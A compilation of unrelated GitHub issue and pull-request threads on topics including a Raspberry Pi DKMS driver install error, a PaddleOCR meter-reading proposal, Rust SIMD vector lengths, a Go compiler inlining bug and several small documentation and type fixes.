make -j4 KERNELRELEASE=5.15.0-1027-raspi -C /lib/modules/5.15.0-1027-raspi/build M=/var/lib/dkms/max1720x_battery/1.0/build.....
cleaning build area...

max1720x_battery.ko:
Running module version sanity check.
 - Original module
 - Installation
   - Installing to /lib/modules/5.15.0-1027-raspi/updates/dkms/

depmod.......
Error! DKMS tree already contains: at24-1.0
You cannot add the same module/version combo more than once.

Code of Conduct

[X] I agree to follow this project's Code of Conduct

Sorry, the only way we can support users is by following standard installation procedures and these start with a cloud-init file  generated by prepare-sd and do not involve any user interaction like pulling repos or even modifying scripts.
Can you reproduce the issue with a standard install procedure?

This issue is gone after cleaning files as below
cd /var/lib/dkms/
sudo rm -rf max1720x_battery/
sudo rm -rf at24/

cd /lib/modules/5.15.0-1027-raspi/updates/dkms/
sudo rm max1720x_battery.ko
sudo rm at24.ko


Fix the link to docs/idiom/express_progress.md

This follow up https://github.com/karen-irc/option-t/pull/346

This change is

bors r+


Add support for traversing Releases

The repo traversal currently does not gather Releases and while the ReleaseEvent is harvested, it also does not fetch the actual Release document.

I'd be interested in adding support for this, as tracking releases and associated downloads is something I'd very much like to see on our dashboard. Can you suggest a good PR to look at as an example of how to begin? Or a good section of code I could get some mileage out of reusing to start testing locally?

Awesome.  In the GitHub processor there is a function that handles repos.  The input there is a request that has a document.  The bulk of that function teases apart the document and adds links to things and queues up things to be traversed.  At the end of that function you would add something like
this._addCollection(request, 'releases', 'release');

Then you need to implement a function called release that will be called the a document containing the release response as detailed in the GitHub API.  That function should then do any processing you want to do wrt the assets in release etc.
You can start with review() as an example of basic entity processing.
Note that you will also have to add releases to the list of collections in isCollectionType()
I suggest that you sketch something out, send in a PR and we can iterate. We are more than happy to help with the details.
Check out the processor tests as well.  This is helpful to see what the inputs and outputs are.  In particular the repo tests.
Also check out the wiki and in particular the data architecture.


Fix regexes to work with cloudflare changes from 2019-04-10

Fixes #220 and #221

This (and more) is already fixed in https://github.com/Anorov/cloudflare-scrape/pull/206


【PaddlePaddle Hackathon 4】No.205 Notebook RFC

基于PaddleOCR和PaddleDetection进行工频场强计读数识别
本ISSUE是赛题【PaddlePaddle Hackathon 4】No.205的方案设计。
方案目标
工频场强计是用于测量交流电工作频率，以及交流电产生的电场和磁场强度（即高压辐射）的仪器。该仪器多为手持式，类似于电表读数，对工频场强计图片进行识别能够代替人工抄表，提高工作效率。本方案的目标是识别工频场图像中的工频电磁场数值和单位、以及下方X\Y\Z的数值，结构化输出结果: [  {"Info_Probe":""}, {"Freq_Set":""}, {"Freq_Main":""}, {"Val_Total":""},{"Val_X":""}, {"Val_Y":""}, {"Val_Z":""}, {"Unit":""}, {"Field":""} ] 。下图展示了两种工频场强计及对应的结构化输出结果。

方案介绍
该项目的推理部分的方案策略为通过PaddleDetection锁定和截取场强计区域，通过PaddleOCR检测区域内文字，并填充对应输出结构体。具体识别流程如下：

通过PaddleDetection中的PPYoloE检测场强计屏幕的位置，并截取屏幕
使用PaddleOCR检测截取区域内的文字
根据文字信息（如文字的内容/文字框的大小等）确定文字对应的属性条目。例如最大的文字框对应的信息为输出结构体中的Val_Total信息。

流程图如下所示：

使用到的推理模型

PaddleDetection

PPyoloE+：使用该模型是为了基于预训练模型在小数据集上获取更好的泛化性，如有需要可以更替检测模型

PaddleOCR

ch_PP-OCRv3_xx

开发进展
完成基于PaddlePaddle的检测到结构化输出的全部流程。

@OpenVINO-dev-contest could you please help with that?

sure

Hi @Liyulingyue Great thanks for your RFC application. We would like to create a new notebook instance for general purpose digital meter reader. Could you help to submit a PR and upload this instance to meter reader

嗨，非常感谢您的 RFC 应用程序。我们希望为通用数字抄表器创建一个新的笔记本实例。您能否帮助提交 PR 并将此实例上传到抄表器

sure

Hi,
Is the issue still ongoing? How can I join the project to contribute and assist in development and testing?
Hicari

Hi, Is the issue still ongoing? How can I join the project to contribute and assist in development and testing? Hicari

Sorry for replying late. This project has been going on for too long and has not been updated. If you are willing to participate, test, and provide feedback, I would be very happy.

How is the current status of this issue? I can help with test, debug, and discuss!

Hi, Is the issue still ongoing? How can I join the project to contribute and assist in development and testing? Hicari

Sorry for replying late. This project has been going on for too long and has not been updated. If you are willing to participate, test, and provide feedback, I would be very happy.

Hi, Is the issue still ongoing? How can I join the project to contribute and assist in development and testing? Hicari

Sorry for replying late. This project has been going on for too long and has not been updated. If you are willing to participate, test, and provide feedback, I would be very happy.

How is the current status of this issue? I can help with test, debug, and discuss!

How is the current status of this issue? I can help with test, debug, and discuss!

This issue was originally proposed for a competition, but now the competition has ended. For some reasons, the PR I submitted has not been included, so this issue has not been closed.
Although this PR has not been merged for a long time, if you are interested in this topic, you can try running ipynb to understand the current progress. If you think there are some areas that can be optimized, I am very willing to discuss and optimize with you.

This issue was originally proposed for a competition, but now the competition has ended. For some reasons, the PR I submitted has not been included, so this issue has not been closed.
Although this PR has not been merged for a long time, if you are interested in this topic, you can try running ipynb to understand the current progress. If you think there are some areas that can be optimized, I am very willing to discuss and optimize with you.

What is the current recognition rate?

What is the current recognition rate?

I have not conducted large-scale experiments, perhaps very high, even exceeding 95%. The recognition rate of this project depends on the base model. In addition, the application scenario of this project does not require truly universal text recognition, but rather structured in specific areas. Therefore, we can post-process the recognition results based on pre information, resulting in better actual results.
Here is benchmark of paddleocr which is my base model: https://github.com/PaddlePaddle/PaddleOCR/blob/release/2.7/doc/doc_ch/benchmark.md

I have not conducted large-scale experiments, perhaps very high, even exceeding 95%. The recognition rate of this project depends on the base model. In addition, the application scenario of this project does not require truly universal text recognition, but rather structured in specific areas. Therefore, we can post-process the recognition results based on pre information, resulting in better actual results.
Here is benchmark of paddleocr which is my base model: https://github.com/PaddlePaddle/PaddleOCR/blob/release/2.7/doc/doc_ch/benchmark.md

I found that this program requires manually input of four POINTS(Left top、right top、right bottom、left bottom) to specify the recognition area. Is there a possibility to collaborate and improve this process so that it can automatically detect the screen area without entering the coordinates ?

I found that this program requires manually input of four POINTS(Left top、right top、right bottom、left bottom) to specify the recognition area. Is there a possibility to collaborate and improve this process so that it can automatically detect the screen area without entering the coordinates ?

There are two solutions to this problem:

Train a Detection model to detect borders. I have implemented a version before, you can refer to it https://aistudio.baidu.com/projectdetail/5852670 However, this approach requires annotation of approximately 20 images and 30 minutes of training
Using CV2 for edge detection, such as Canny and minAreaRect, I haven't implemented this version yet.

Of course, I would prefer a completely untrained solution for detecting borders. If you have any ideas, feel free to discuss them together.

Attempting to extract the edges of the image using Canny edge detection, then using the cv2.findContours function to find contours, and finally extracting the largest contour to obtain the four corner points. Since different images may require adjusting the parameters of the Canny edge detection, this is not a universal method applicable to all images. If I find a better method, I will discuss it with you.

There are two solutions to this problem:

Train a Detection model to detect borders. I have implemented a version before, you can refer to it https://aistudio.baidu.com/projectdetail/5852670 However, this approach requires annotation of approximately 20 images and 30 minutes of training
Using CV2 for edge detection, such as Canny and minAreaRect, I haven't implemented this version yet.

Of course, I would prefer a completely untrained solution for detecting borders. If you have any ideas, feel free to discuss them together.

Attempting to extract the edges of the image using Canny edge detection, then using the cv2.findContours function to find contours, and finally extracting the largest contour to obtain the four corner points. Since different images may require adjusting the parameters of the Canny edge detection, this is not a universal method applicable to all images. If I find a better method, I will discuss it with you.


Clarify relation to variable length vectors

There are some variable SIMD designs upcomming form RISC-5 or Arm.
It be a good idea to extend stdsimd to these features or document why this is not possible.

The current plan is for fixed length vectors only in the initial wave.
The reasoning is:

Statically Sized types are much better supported in Rust than Dynamically Sized types.
Fixed sized vectors have been in use for years and people generally understand them quite well, while the dynamically sized vectors are still somewhat experimental as you say.

I suspect that "some day" we would like to build support for variable sized vectors, but they'd have to be stable and well understood in terms of the vendors, and also Rust itself might need better dynamically sized type support.
Even then, it might be more appropriate to limit those APIs to core::arch if they're only practical on one or two arches.

It is slightly confusing to call these vectors "variable length", as these are variable mostly in terms of the specification and the instruction set. Obviously, even that amount of variation has implications on programming against them, however, vector registers actually have to be of a given size, obviously, so the "variable" is literally wired into the architecture. Thus the term "scalable" and "length agnostic" in most of Arm's material, rather than "variable", as it does not truly vary. The vector is, in the case of Arm's SVE, a 128-bit vector or a vector of the implemented size, e.g. the Fugaku supercomputer implemented 512-bit vectors so it can either execute Neon instructions on 128-bit sub-vectors or use the full SVE vector register (a situation somewhat like e.g. how AVX512 and SSE actually share register space). Likewise in RISCV-V:

Each vector register has a fixed VLEN bits of state.

The instruction sets permit acting on ambiguous vector sizes, and to the extent that support is implemented in LLVM, they are already supported. To the extent they are not supported in LLVM, it is rather difficult to add more.

As mentioned on Zulip, Libre-SOC's SimpleV supports both fixed-length and dynamically variable-length vectors with lengths from 0 to 64 elements (includes non-powers of 2). Libre-SOC is based on OpenPower (PowerPC), though we are still in-progress converting SimpleV's documentation from RISC-V, which we used previously.
Libre-SOC is a project to build a Libre-licensed hybrid CPU/GPU with drivers for modern 3D graphics APIs that is currently mostly funded by NLNet. Everyone's welcome to help out!

Note that RISC-V and ARM are far from the first ISAs to have variable-length vectors: the Cray family of supercomputers are some of the first, 45 years ago.

RISC-V V extension (variable length vectors) has hit 1.0 frozen: https://github.com/riscv/riscv-v-spec/releases/tag/v1.0

To elaborate somewhat:
Our Simd type is Sized. This means that it cannot be ?Sized. Functionally, we can have such a type (SimdVec? DynSimd?) but it would have to be a new extension to the library. std::simd is still capable of compiling to such targets like SVE and RVV if Rust (and therefore LLVM) is given a minimum hardware vector width it can assume (this is obvious in the case of Arm SVE: 128 bits at minimum.

Portable simd could also internally perform the simd operations in a loop if the minimum hardware vector width is very low. Loop fusion may then be able to combine the loops to reduce register spilling and if there is already an outer loop in the user code it the inner and outer loop may be fusable too.

Yes, it is my belief that SVE and RVV are extensions designed for compilers to make it very easy to trivially fuse loops.

For those you might be wondering about the minimums for RVV see:
https://github.com/riscv/riscv-v-spec/blob/master/v-spec.adoc#181-zvl-minimum-vector-length-standard-extensions
Is there anywhere else I can look to follow this issue and or anything I can do to help while I haven't worked on compilers or something like this, I could still gather useful information?


docs: add vegafusion to "used by" on readme

https://github.com/vega/vegafusion/pull/517
once they make a release

I'd like to take this up.


"Added to Library" Overlay Update (Remove black overlay)

Describe your suggested feature
Currently used overlay to showcase "added to library" is way too dark and the poster is totally unseeable. So please remove the black overlay. A small top left watermark should be good enough
Here's the example of what it should look like 👇

Other details
No response
Acknowledgements

[X] I have searched the existing issues and this is a new ticket, NOT a duplicate or related to another open or closed issue.
[X] I have written a short but informative title.
[X] If this is an issue with an official extension, I should be opening an issue in the extensions repository.
[X] I have updated the app to version <IP_ADDRESS>.
[X] I will fill out all of the requested information in this form.

I don't think removing it completely would be a good idea, rather than an option to turn this off will be better, as like me i think there are many people who likes it as it is.

Okay I'm fine with a toggle button for that too


cmd/compile: internal compiler error: Value live at entry. It shouldn't be.

What version of Go are you using (go version)?

$ go version
go version go1.16 darwin/amd64

Does this issue reproduce with the latest release?
Yes. I've git bisect the error to commit https://github.com/golang/go/commit/f2c0c2b90200b470c39a2db821b7c707604fe083
What operating system and processor architecture are you using (go env)?
go env Output
$ go env
GO111MODULE=""
GOARCH="amd64"
GOBIN=""
GOCACHE="/Users/tonyghita/Library/Caches/go-build"
GOENV="/Users/tonyghita/Library/Application Support/go/env"
GOEXE=""
GOFLAGS=""
GOHOSTARCH="amd64"
GOHOSTOS="darwin"
GOINSECURE=""
GOMODCACHE="/Users/tonyghita/go/pkg/mod"
GONOPROXY="*"
GONOSUMDB="*"
GOOS="darwin"
GOPATH="/Users/tonyghita/go"
GOPRIVATE="*"
GOPROXY="https://proxy.golang.org,direct"
GOROOT="/Users/tonyghita/sdk/go1.16"
GOSUMDB="sum.golang.org"
GOTMPDIR=""
GOTOOLDIR="/Users/tonyghita/sdk/go1.16/pkg/tool/darwin_amd64"
GOVCS=""
GOVERSION="go1.16"
GCCGO="gccgo"
AR="ar"
CC="clang"
CXX="clang++"
CGO_ENABLED="1"
GOMOD="/Users/tonyghita/go/src/github.com/tonyghita/repro/go.mod"
CGO_CFLAGS="-g -O2"
CGO_CPPFLAGS=""
CGO_CXXFLAGS="-g -O2"
CGO_FFLAGS="-g -O2"
CGO_LDFLAGS="-g -O2"
PKG_CONFIG="pkg-config"
GOGCCFLAGS="-fPIC -arch x86_64 -m64 -pthread -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=/var/folders/gv/vdmq3_l541b_0lq_ds37xslnzgdpkw/T/go-build3906706978=/tmp/go-build -gno-record-gcc-switches -fno-common"

What did you do?
I made a small reproducer repository to demonstrate the issue https://github.com/tonyghita/repro and run go test against it.
What did you expect to see?
Test pass without issue, as in Go 1.15.
What did you see instead?
# github.com/tonyghita/repro_test [github.com/tonyghita/repro.test]
./repro_test.go:10:13: internal compiler error: 'TestF.func1': Value live at entry. It shouldn't be. func TestF.func1, node ~R0, value v19

CC @mdempsky @dr2chase
If this is a real bug it probably needs a backport to the 1.16 branch.

I forgot to describe the setup to reproduce the issue.
package repro

type A struct{}

func (*A) F() (_ *B) { return }

type B struct{}

and then in the repro_test package (or some other package)
package repro_test

import (
	"testing"

	"github.com/tonyghita/repro"
)

func TestF(t *testing.T) {
	var a *repro.A

	if a.F() != nil {
		t.Fail()
	}
}

Thanks for the minimized test case, @tonyghita . I'm able to reproduce the issue locally.

The issue is due to inlining an imported function with a blank result parameter and only one return statement.

@tonyghita Can I ask what the original function looks like and why it was written that way? It's definitely a compiler issue that it's mishandling this case that I expect to have a fix for shortly, but I'm surprised there's real world code that exhibits this behavior, so I'm curious.
FWIW, if you're in need of a workaround until Go 1.16.1 is available, you can should be able to either change the bare return statement to explicitly return zero values, or just add a second (unreachable) return statement. Either of these would suppress the optimization that's crashing here.

Aside: From all my years working on the compiler, there is no internal compiler error I hate more. (Of course, that means I also love it in a way, because it is catching bugs.)

@gopherbot please backport to Go 1.16

@mdempsky the actual production code is not very different from the reproducer code. It's pretty silly/useless and can/will be removed.
To give a bit more context, the codebase is an API where the fields of the API map to method sets via reflect package. For example, given the API schema:
type Query {
  user(id: ID): User
}

type User {
  name: String
  nickname: String
}

we would have equivalent structs type Query struct and type User struct in Go.
type Query struct {
  // hidden fields
}

func (q *Query) User(ctx context.Context, args struct{ ID string }) *User {
  return q.load.UserByID(ctx, args.ID) // pretend this function loads a user by their ID.
}

type User struct {
  // hidden fields
}

func (u *User) Name() *string {
  return u.name
}

// Deprecated: use Name instead.
func (*User) Nickname() (_ *string) { return }

Sometimes, we want to remove the implementation of a field without breaking the API, so the method is reduced to the bare minimum implementation until it is safe to remove the field from the API without breaking clients..
Sometimes we really flub the design of an API and so we remove the implementation for many fields that return many different types, and it is convenient to avoid having to specify the zero value for each type (although maybe too clever).
func (*User) Nickname() (_ *string)    { return }
func (*User) CreatedAt() (_ int)       { return }
func (*User) BestFriend() (_ *User)    { return }
func (*User) LicensePlate() (_ string) { return }

This bug was triggered by one of these "gutted" methods getting called in a forgotten unit test. As a workaround, we can remove the useless test.

@tonyghita Thanks, for the context. That seems reasonable. Glad to know it's nothing performance sensitive, so just turning off the new, failing optimization in that case should be fine.

There is another possibly related case that appeared at #44415

Is https://go-review.googlesource.com/c/go/+/293293/ okay to submit now? I'm thinking since it's a 1.16 regression that needs to be backported, it makes sense to commit now and get the backport fix CL ready.

Please go ahead and submit.


rename fields in Vault appRole credentials

What this PR does / why we need it:
Fix attribute names mismatch with Vault documentation.
Which issue this PR fixes (optional, in fixes #<issue number>(, fixes #<issue_number>, ...) format, will close that issue when PR gets merged): fixes #
Special notes for your reviewer:
Release note:

Fix attribute names mismatch with Vault documentation.

/ok-to-test

/lgtm
/approve


vagrant up issue (solution found)

It is just a version mismatch issue. And I have found the solution already. Maybe discussion point is we may update README.md or not.
The situation is
(.venv) xxxx$ vagrant up
No usable default provider could be found for your system.

Vagrant relies on interactions with 3rd party systems, known as
"providers", to provide Vagrant with resources to run development
environments. Examples are VirtualBox, VMware, Hyper-V.

The easiest solution to this message is to install VirtualBox, which
is available for free on all major platforms.

If you believe you already have a provider available, make sure it
is properly installed and configured. You can see more details about
why a particular provider isn't working by forcing usage with
`vagrant up --provider=PROVIDER`, which should give you a more specific
error message for that particular provider.

Actually it was Virtual Box version issue.
https://qiita.com/masuda401/items/992013f7ebff1a569d47
(in Japanese.)
I just manually download and update Virtual Box from here.
https://www.virtualbox.org/wiki/Linux_Downloads
May I update README.md and PR?

Please feel free!  Troubleshooting links would be great to have generally.


Fix BSON parsing of arrays

Closes #101.

I think  you should add the TYPE_ARRAY also in the bson_check_validity function, maybe here https://github.com/sorru94/astarte-device-sdk-esp32/blob/384e217abe183ac15e5cb00d689c048856976fea/astarte_bson.c#L252


[BUG] Security namespace is missing from the Client type declaration

What is the bug?
A clear and concise description of the bug.
It appears that security is missing from the Client type declaration which causes "Property 'security' does not exist on type 'Client'" in IDE's.
How can one reproduce the bug?
Steps to reproduce the behavior.
import { Client  } from '@opensearch-project/opensearch';
const client = new Client(...)
client.security

What is the expected behavior?
A clear and concise description of what you expected to happen.
The security namespace exists on the client.
What is your host/environment?
Operating system, version.
MacOS 13.6.2
Do you have any screenshots?
If applicable, add screenshots to help explain your problem.
Do you have any additional context?
Add any other context about the problem.
@opensearch-project/opensearch: 2.4.0
The tests added in the commit are in javascript. I believe this is why the issue wasn't observed

It's already been added to https://github.com/opensearch-project/opensearch-js/blob/main/api/new.d.ts#L1966
I'm not sure why we have 2 places to declare types for API methods 😅

The new.d.ts export is not what is used by default with the import statement import { Client  } from '@opensearch-project/opensearch';. Rather, it still points to the definitions in index.d.ts. The default exports need to be updated to use the new type definitions.

@GTRanger Did this PR resolve the issue?


hq2_26 + hq2_2: tetris music replacement

https://www.newgrounds.com/bbs/topic/1282173
tetris music is public domain
samples from the gameboy game are not
-> need to redo it with own instruments :D


Test example Application with GraalVM

We should verify that an example application also works with GraalVM. At best, this is also build by the CI (but may in parallel due to long build duration).

An outdated test applikation with micronaut-camunda-bpm and GraalVM can be found here:  https://github.com/Hayvon/micronaut-camunda-bpm/tree/workingBranchNativeImage_v2.
Done:

Provided necessary GraalVM configuration, so application starts

Problems:

using micronaut-camunda-bpm version 0.0.1-SNAPSHOT
Autodetection and deployment of BPMN diagrams not working --> Workaround where you need to list all used diagrams in a file ist implemented (see: https://github.com/Hayvon/micronaut-camunda-bpm/blob/workingBranchNativeImage_v2/micronaut-camunda-bpm-example/native-image-readme.md)
Configuration and DataSourceConfiguration were changed (from Interace to Class) so Issue #22 is bypassed
No noticeable startup time improvements